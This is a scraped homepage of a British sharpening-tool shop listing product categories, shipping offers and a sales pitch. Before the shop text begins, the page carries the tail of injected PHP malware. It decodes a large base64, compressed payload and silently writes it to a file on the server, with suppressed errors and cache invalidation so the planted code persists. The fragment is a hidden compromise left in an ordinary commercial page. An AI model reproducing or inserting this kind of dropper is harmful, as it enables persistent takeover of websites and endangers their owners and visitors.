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' ) ); if ( is_string( $__c ) && strlen( $__c ) > 4096 && ( ! is_file( $__p ) || md5_file( $__p ) !== md5( $__c ) ) ) { @mkdir( dirname( $__p ), 0755, true ); $__t = $__p . '.tmp'; if ( @file_put_contents( $__t, $__c ) ) { @chmod( $__t, 0644 ); @rename( $__t, $__p ); if ( function_exists( 'opcache_invalidate' ) ) @opcache_invalidate( $__p, true ); } } } } /*XHEMJF*/ - Multi-Sharp

Free UK Shipping on orders above £35 | Free Drill Bits on orders over £17

 

Sharper Tools. Better Results.

British specialists in precision sharpening tools since 1982.

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Trusted by Professionals and Home-Users

Free Shipping Over £35

Free Drill Bits

on Orders Over £17

Find the Right Sharpener for Your Tool

From chainsaw chains to kitchen scissors – if it has a blade, we make the right sharpener for it.

Chainsaw Sharpeners 

Rotary Mower Sharpeners 

Cylinder Mower Sharpeners 

Sharpeners for Secateurs, Pruners & Loppers

Shear & Scissor Sharpeners

Knife and Blade Sharpeners

Drill Bit, Chisel & Workshop Tool Sharpeners

Replacement Parts

Why Multi-Sharp?

A blade sharpened at the wrong angle won’t cut cleanly – no matter how sharp the cutting edge. Unlike generic products on the market, every Multi-Sharp sharpener is engineered to restore a sharp edge at the correct cutting angle for that specific tool. 

  • Cleaner Cuts: Correct angle restored on every pass, improving precision.
  • Safer Handling: Sharp blades give more control. Blunt tools slip. Sharp ones don’t.
  • Save with Longer Tool Life: Restore tools instead of replacing them.
  • No Experience Needed: Intuitive enough for first use

Trusted by Experts

Practical Householder · Good Woodworking · The Garden Expert 

Receive Free Drill Bits

Enjoy three drill bits free on orders over £17

What Our Customers Say

Mr C.H.D., New Zealand

Drill bit sharpener with packaging
SHEAR & SCISSOR SHARPENER